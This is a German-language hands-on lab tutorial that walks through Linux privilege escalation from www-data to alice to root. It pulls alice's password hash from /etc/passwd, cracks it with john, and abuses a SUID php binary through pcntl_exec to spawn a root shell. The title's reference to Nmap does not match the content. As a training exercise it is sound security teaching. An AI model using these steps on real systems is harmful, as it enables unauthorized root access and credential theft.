Eskalation von Privilegien zu Root über einen Zwischenbenutzer in Nmap

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden wir lernen, wie man die Rechte auf den Root-Benutzer erhöhen kann, wenn man nicht direkt auf Root-Berechtigungen wechseln kann. Wir erreichen dies, indem wir zunächst auf einen anderen normalen Benutzer wechseln und dann die Rechte dieses Benutzers nutzen, um auf den Root-Benutzer zu wechseln. Dieser Zwischenbenutzer wird als "Sprungbrett"-Benutzer bezeichnet.

Das Ziel dieses Labs besteht darin, die Rechte vom Benutzer www-data auf den Benutzer alice zu erhöhen und dann vom Benutzer alice auf den Root-Benutzer.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/installation -.-> lab-416146{{"Eskalation von Privilegien zu Root über einen Zwischenbenutzer in Nmap"}} nmap/save_output -.-> lab-416146{{"Eskalation von Privilegien zu Root über einen Zwischenbenutzer in Nmap"}} end

Initialisierung der Lab-Umgebung

In diesem Schritt werden wir die Lab-Umgebung initialisieren.

  1. Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project:

    cd /home/labex/project
  2. Führen Sie den folgenden Befehl aus, um die Umgebung für das Lab einzurichten:

    ./env_setup.sh

Dieser Befehl lädt ein Skript herunter und führt es aus, das die erforderliche Umgebung für das Lab einrichtet. Nach Ausführung dieses Befehls sollten Sie auf den Benutzer www-data gewechselt sein, was einer anfänglichen Shell entspricht, die über eine Web-Schwachstelle erlangt wurde.

Versuch einer SUID-Rechteerhöhung

In diesem Schritt werden wir versuchen, die Rechte mithilfe der SUID (Set User ID)-Technik zu erhöhen. Wir werden nach ausführbaren Dateien suchen, für die das SUID-Bit gesetzt ist, was bedeutet, dass sie mit den Rechten des Dateibesitzers (in diesem Fall root) ausgeführt werden können.

  1. Zunächst suchen wir nach SUID-ausführbaren Dateien, auf die der Benutzer www-data zugreifen kann:

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    Dieser Befehl durchsucht das gesamte Dateisystem nach Dateien, die vom Root-Benutzer besessen werden und für die das SUID-Bit gesetzt ist (Berechtigungsmodus 4000).

  2. Nach Ausführung des Befehls sollten Sie in der Datei www-data_suid_files.txt eine Liste von SUID-ausführbaren Dateien sehen. Schauen wir uns den Inhalt dieser Datei an:

    cat ~/www-data_suid_files.txt

In diesem Fall gibt es jedoch keine Dateien, die für eine SUID-Rechteerhöhung geeignet sind.

Untersuchung des Home-Verzeichnisses

Da wir es nicht geschafft haben, die Rechte mithilfe der SUID-Technik zu erhöhen, lassen Sie uns das Home-Verzeichnis auf potenzielle "Sprungbrett"-Benutzer untersuchen.

  1. Zunächst speichern wir den Inhalt des /home-Verzeichnisses in einer Datei für eine weitere Analyse:

    ls -alh /home > ~/home_dir_contents.txt

    Dieser Befehl listet den Inhalt des /home-Verzeichnisses im ausführlichen Format auf, einschließlich Dateigrößen und Berechtigungen, und speichert es in der Datei home_dir_contents.txt.

  2. Als Nächstes untersuchen wir den Inhalt der Datei home_dir_contents.txt, um potenzielle Sprungbrett-Benutzer zu identifizieren:

    cat ~/home_dir_contents.txt

    Im Output sollten Sie ein Verzeichnis namens alice sehen, was darauf hinweist, dass es einen Benutzer namens alice auf dem System gibt.

Versuch, die Rechte auf den Benutzer Alice zu erhöhen

Da der Benutzer www-data nicht auf das Verzeichnis alice zugreifen kann, müssen wir zunächst einen Weg finden, um die Rechte auf den Benutzer alice zu erhöhen.

  1. Überprüfen wir die Datei /etc/passwd auf Informationen über den Benutzer alice:

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. Überprüfen Sie den Inhalt der Datei alice_info.txt, um die Details des Benutzers alice anzuzeigen:

    cat ~/alice_info.txt

    Erwartete Ausgabe:

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    In der Ausgabe sollten Sie einen Eintrag für den Benutzer alice sehen, einschließlich des Passwort-Hashes.

  3. Um den Passwort-Hash zu knacken, können wir das Tool john verwenden. Öffnen Sie ein neues Terminal und führen Sie den folgenden Befehl aus:

    john ~/alice_info.txt > cracked_passwords.txt

    Beispielausgabe:

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Dies startet den Passwort-Knackprozess. Sobald das Passwort geknackt wurde, sollten Sie das Passwort in der Datei cracked_passwords.txt sehen.

    cat ~/cracked_passwords.txt

    Beispielausgabe:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. In diesem Fall lautet das Passwort für den Benutzer alice beautiful. Verwenden Sie den Befehl su, um auf den Benutzer alice zu wechseln:

    su - alice

    Geben Sie das zuvor geknackte Passwort (beautiful) ein, wenn Sie dazu aufgefordert werden.

    beautiful
  5. Nachdem Sie erfolgreich auf den Benutzer alice gewechselt haben, navigieren Sie in das Verzeichnis alice und erstellen Sie eine neue Datei namens alice.txt:

    cd /home/alice

    Erstellen Sie eine neue Datei namens alice.txt:

    touch ~/alice.txt

    Sie sollten nun Zugang zu dem Verzeichnis alice und seinem Inhalt haben.

Versuch einer SUID-Rechteerhöhung als Benutzer Alice

Nachdem wir die Rechte auf den Benutzer alice erhöht haben, versuchen wir erneut die SUID-Rechteerhöhungstechnik.

  1. Stellen Sie sicher, dass Sie sich im Home-Verzeichnis des Benutzers alice befinden:

    cd /home/alice

    Führen Sie den folgenden Befehl aus, um Dateien mit gesetztem SUID-Bit zu finden:

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. Überprüfen Sie den Inhalt der Datei alice_suid_files.txt, um die Liste der SUID-Dateien anzuzeigen:

    cat alice_suid_files.txt

    Erwartete Ausgabe:

    ...
    /var/bin/php
    ...

    Diesmal sollten Sie im Output eine ausführbare Datei /var/bin/php sehen. Diese Datei kann für eine SUID-Rechteerhöhung verwendet werden.

  3. Um die Rechte auf den Root-Benutzer zu erhöhen, führen Sie den folgenden Befehl aus:

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    Dieser Befehl führt ein PHP-Skript aus, das eine neue Shell mit Root-Rechten startet.

  4. Sie sollten jetzt eine Root-Shell haben, was durch das #-Prompt im Terminal angezeigt wird. Überprüfen Sie, dass Sie Root-Rechte haben, indem Sie eine Datei im Root-Verzeichnis erstellen:

    touch /root/root.txt

    Wenn die Datei ohne Berechtigungsfehler erstellt wird, haben Sie die Rechte erfolgreich auf den Root-Benutzer mithilfe der SUID-Technik erhöht.

Unterschiede in Verzeichnisberechtigungen verstehen

Sie fragen sich vielleicht, warum der Benutzer alice die SUID-ausführbare php-Datei finden konnte, während der Benutzer www-data dies nicht konnte. Die Antwort liegt in den Verzeichnisberechtigungen.

Nach dem letzten Schritt sollten Sie immer noch eine Shell als root-Benutzer haben, wie die folgende:

sh-5.1#
  1. Untersuchen wir die Berechtigungen des /var/bin-Verzeichnisses und speichern die Ausgabe in einer Datei:

    ls -lh /var > /root/var_permissions.txt
  2. Überprüfen Sie den Inhalt der Datei var_permissions.txt, um die Berechtigungen des /var-Verzeichnisses anzuzeigen:

    cat /root/var_permissions.txt

    Erwartete Ausgabe:

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    In der Ausgabe sollten Sie sehen, dass das /var/bin-Verzeichnis vom Benutzer und der Gruppe alice besessen wird. Andere Benutzer haben keine Lese-, Schreib- oder Ausführungsberechtigungen für dieses Verzeichnis.

Dies bedeutet, dass wir, als wir auf den Benutzer alice hochgestuft wurden, Zugang zu Dateien und Verzeichnissen erhielten, auf die der Benutzer www-data zuvor nicht zugreifen konnte. Dieser Unterschied in den Berechtigungen ermöglichte es uns, die SUID-ausführbare Datei zu finden und für die Rechteerhöhung zu nutzen.

Zusammenfassung

In diesem Lab haben wir gelernt, wie man die Rechte auf den Root-Benutzer erhöhen kann, wenn eine direkte Root-Rechteerhöhung nicht möglich ist. Wir haben dies erreicht, indem wir zunächst auf den Benutzer alice, einen "Sprungbrett"-Benutzer, hochgestuft haben und dann die Rechte des Benutzers alice genutzt haben, um auf den Root-Benutzer zu wechseln.

Der wichtigste Punkt aus diesem Lab ist, immer auf die Unterschiede in den Berechtigungen zwischen Benutzern zu achten, da diese Unterschiede manchmal für eine Rechteerhöhung genutzt werden können. Obwohl wir in diesem Lab ein einfaches Beispiel verwendet haben, können reale Szenarien komplexer sein, aber das Kernprinzip bleibt dasselbe: Nutzen Sie die Unterschiede in den Benutzerberechtigungen, um eine Rechteerhöhung zu erreichen.